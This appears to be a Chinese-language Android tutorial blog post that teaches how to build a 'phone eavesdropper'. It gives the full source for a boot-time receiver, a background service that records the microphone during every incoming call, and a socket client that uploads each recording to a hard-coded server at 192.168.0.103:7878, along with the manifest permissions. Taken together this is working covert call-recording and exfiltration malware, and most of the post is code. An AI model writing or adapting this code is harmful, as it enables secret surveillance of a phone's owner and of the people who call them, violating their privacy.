Android入门:利用MediaRecorder和TelephonyManager实现电话窃听器


一、电话窃听器介绍



电话窃听器定义:在A的手机装上电话窃听器应用,则如果B给A打电话,则会录制A说的话并将此音频文件上传到服务器;如图所示:

Android入门:利用MediaRecorder和TelephonyManager实现电话窃听器_第1张图片

二、电话窃听器核心代码



需要的权限:

接收开机广播权限:     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
录制音频权限:          <uses-permission android:name="android.permission.RECORD_AUDIO"/>
读取打电话的状态权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
网络通信权限:     <uses-permission android:name="android.permission.INTERNET"/>  

录制音频的核心代码:

recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置输入流设备为麦克风
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置编码方式
recorder.setOutputFile(filename); //设置输出文件
recorder.prepare();//准备
recorder.start();//开始录制
recorder.stop();//停止录制
recorder.release(); //释放资源



电话服务监听核心代码:

TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话管理器
manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//对呼叫状态进行监听
private PhoneStateListener listener = new PhoneStateListener(){
@Override
public void onCallStateChanged(int state, String incomingNumber) {//当状态改变时调用
super.onCallStateChanged(state, incomingNumber);
switch(state){
case TelephonyManager.CALL_STATE_RINGING://来电
//处理代码
break;

case TelephonyManager.CALL_STATE_IDLE://挂断电话

//处理代码

break;
case TelephonyManager.CALL_STATE_OFFHOOK://接通电话状态
//处理代码
break;
}
}
};




三、电话窃听器代码实现



客户端代码


BootBroadcastReceiver.java

package com.xiazdong.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service  = new Intent(context,PhoneService.class);	//开启电话窃听器服务
		context.startService(service);
	}

}


PhoneService.java

package com.xiazdong.phonelistener;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {
	private PhoneStateListener listener = new PhoneStateListener(){
		private String incomingNumber;
		private MediaRecorder recorder;
		private File file ;
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {	//当状态改变时调用
			super.onCallStateChanged(state, incomingNumber);
			switch(state){
			case TelephonyManager.CALL_STATE_RINGING:	//来电
				this.incomingNumber = incomingNumber;
				break;
			case TelephonyManager.CALL_STATE_IDLE:	//挂断电话
				if(recorder!=null){
					recorder.stop();
					recorder.release();
					recorder = null;
					try {
						SocketClientUtil.uploadFile(file, "192.168.0.103", 7878);
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
				
				break;
			case TelephonyManager.CALL_STATE_OFFHOOK:	//接通电话状态
				file = new File(Environment.getExternalStorageDirectory(),incomingNumber+System.currentTimeMillis()+".3gp");
				recorder = new MediaRecorder();
				recorder.setAudioSource(MediaRecorder.AudioSource.MIC);		//设置输入流设备为麦克风
				recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);	//设置输出格式
				recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);	//设置编码方式
				recorder.setOutputFile(file.getAbsolutePath());		//设置输出文件
				try {
					recorder.prepare();
				} catch (Exception e) {
					e.printStackTrace();
				}
				recorder.start();
				
				break;
			}
		}
	};
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
		manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);	//对呼叫状态进行监听
	}
	
}


SocketClientUtil.java

package com.xiazdong.phonelistener;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.UUID;

public class SocketClientUtil {
	public static void uploadFile(final File file,final String ip,final int port)throws Exception{
		new Thread(new Runnable(){
			@Override
			public void run() {
				try {
					Socket socket = new Socket(ip,port);
					OutputStream  out = socket.getOutputStream();
					InputStream in = new FileInputStream(file);
					byte[] data = StreamTool.read2Byte(in);
					String head = "Content-Length="+ data.length+";filename="+file.getName()+";sourceid=1278916111468\r\n";
					out.write(head.getBytes("UTF-8"));
					out.write(data);
					System.out.println("上传成功");
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}).start();
	}
}


AndroidManifest.xml

<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>		<!-- 外界拨打权限 -->
	<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>		<!-- 接收开机广播 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>		<!-- sdcard -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>	<!-- sdcard -->
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>				<!-- 记录音频 -->
	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>			<!-- 读取电话状态 -->
    <uses-permission android:name="android.permission.INTERNET"/>					<!-- 网络权限 -->
    
    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
       <receiver android:name=".BootBroadcastReceiver">
           <intent-filter>
               <action android:name="android.intent.action.BOOT_COMPLETED"/>
           </intent-filter>
       </receiver>
       <service android:name=".PhoneService">


服务器端代码此处就不作介绍,主要功能就是接收例如 
Content-Length=9435;filename=1342935941398.3gp;sourceid=1278916111468和3GP文件




你可能感兴趣的:(android,exception,String,File,service,电话)